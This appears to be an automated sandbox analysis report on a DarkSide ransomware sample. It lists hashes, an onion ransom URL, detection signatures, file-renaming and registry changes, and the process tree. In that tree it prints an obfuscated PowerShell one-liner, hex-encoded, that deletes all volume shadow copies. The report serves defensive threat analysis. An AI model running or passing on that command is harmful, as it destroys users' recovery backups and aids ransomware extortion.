Analysis
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max time kernel
122s -
max time network
141s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
31-01-2022 05:58
Static task
static1
Behavioral task
behavioral1
Sample
bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe
Resource
win10-en-20211208
General
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Target
bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe
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Size
59KB
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MD5
c2764be55336f83a59aa0f63a0b36732
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SHA1
0bfc26e7a035a143339516b877ac11eefbbeefb5
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SHA256
bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0
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SHA512
9c413793996c48c4c9e092e8c09810712c84dc64288515b64acc7108671071283e8dc4b3d782befd9cbf04bd0db0fb61c8986b429eec5b748722910455d399fa
Malware Config
Extracted
C:\\README.27a6f0b5.TXT
darkside
http://darksidfqzcuhtk2.onion/FNKSGXL6YM3ZOHUB9WRBMPZDFXUG0DSF5M61SMYGU4V8R8OOJ6AKQ2VF4BGHSE1O
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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suricata: ET MALWARE Observed DarkSide Ransomware CnC Domain in TLS SNI
suricata: ET MALWARE Observed DarkSide Ransomware CnC Domain in TLS SNI
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Modifies extensions of user files 6 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exedescription ioc process File renamed C:\Users\Admin\Pictures\BlockRename.crw => C:\Users\Admin\Pictures\BlockRename.crw.27a6f0b5 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe File opened for modification C:\Users\Admin\Pictures\BlockRename.crw.27a6f0b5 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe File renamed C:\Users\Admin\Pictures\InstallUse.png => C:\Users\Admin\Pictures\InstallUse.png.27a6f0b5 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe File opened for modification C:\Users\Admin\Pictures\InstallUse.png.27a6f0b5 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe File renamed C:\Users\Admin\Pictures\ReceiveExport.png => C:\Users\Admin\Pictures\ReceiveExport.png.27a6f0b5 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe File opened for modification C:\Users\Admin\Pictures\ReceiveExport.png.27a6f0b5 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\27a6f0b5.BMP" bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Set value (str) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\27a6f0b5.BMP" bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exepid process 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe -
Modifies Control Panel 1 IoCs
Processes:
bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Control Panel\Desktop\WallpaperStyle = "10" bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe -
Modifies registry class 5 IoCs
Processes:
bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.27a6f0b5 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.27a6f0b5\ = "27a6f0b5" bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\27a6f0b5\DefaultIcon bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\27a6f0b5 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\27a6f0b5\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\27a6f0b5.ico" bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exepowershell.exepid process 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe 1548 powershell.exe 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
Processes:
bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeSecurityPrivilege 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeTakeOwnershipPrivilege 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeLoadDriverPrivilege 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeSystemProfilePrivilege 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeSystemtimePrivilege 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeProfSingleProcessPrivilege 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeIncBasePriorityPrivilege 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeCreatePagefilePrivilege 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeBackupPrivilege 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeRestorePrivilege 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeShutdownPrivilege 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeDebugPrivilege 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeSystemEnvironmentPrivilege 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeRemoteShutdownPrivilege 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeUndockPrivilege 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeManageVolumePrivilege 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: 33 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: 34 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: 35 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe Token: SeDebugPrivilege 1548 powershell.exe Token: SeBackupPrivilege 972 vssvc.exe Token: SeRestorePrivilege 972 vssvc.exe Token: SeAuditPrivilege 972 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exedescription pid process target process PID 732 wrote to memory of 1548 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe powershell.exe PID 732 wrote to memory of 1548 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe powershell.exe PID 732 wrote to memory of 1548 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe powershell.exe PID 732 wrote to memory of 1548 732 bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe"C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:732 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1548
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:972
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msMD5
e20fb51760527cc6f1a87b3a4acdb8bc
SHA19b617856ada67a2f8ce936a04323aac5b8ae310d
SHA2563ea9b863617c7b9f263d0d929280a70f4a922a97d9237d56905e20a521f07a9e
SHA51283ac1fbbcf25ed648f3fca346acf7428f8f624010b97ede3ab9baa2d2c188ea3f25ea9133e86eb32d3fc93431cb84a6fe81715f3c7ae9beb89d467c19087de40
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memory/732-55-0x00000000763B1000-0x00000000763B3000-memory.dmpFilesize
8KB
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memory/1548-56-0x000007FEFC241000-0x000007FEFC243000-memory.dmpFilesize
8KB
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memory/1548-58-0x00000000028F0000-0x00000000028F2000-memory.dmpFilesize
8KB
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memory/1548-59-0x00000000028F2000-0x00000000028F4000-memory.dmpFilesize
8KB
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memory/1548-60-0x00000000028F4000-0x00000000028F7000-memory.dmpFilesize
12KB
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memory/1548-57-0x000007FEF29B0000-0x000007FEF350D000-memory.dmpFilesize
11.4MB
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memory/1548-61-0x00000000028FB000-0x000000000291A000-memory.dmpFilesize
124KB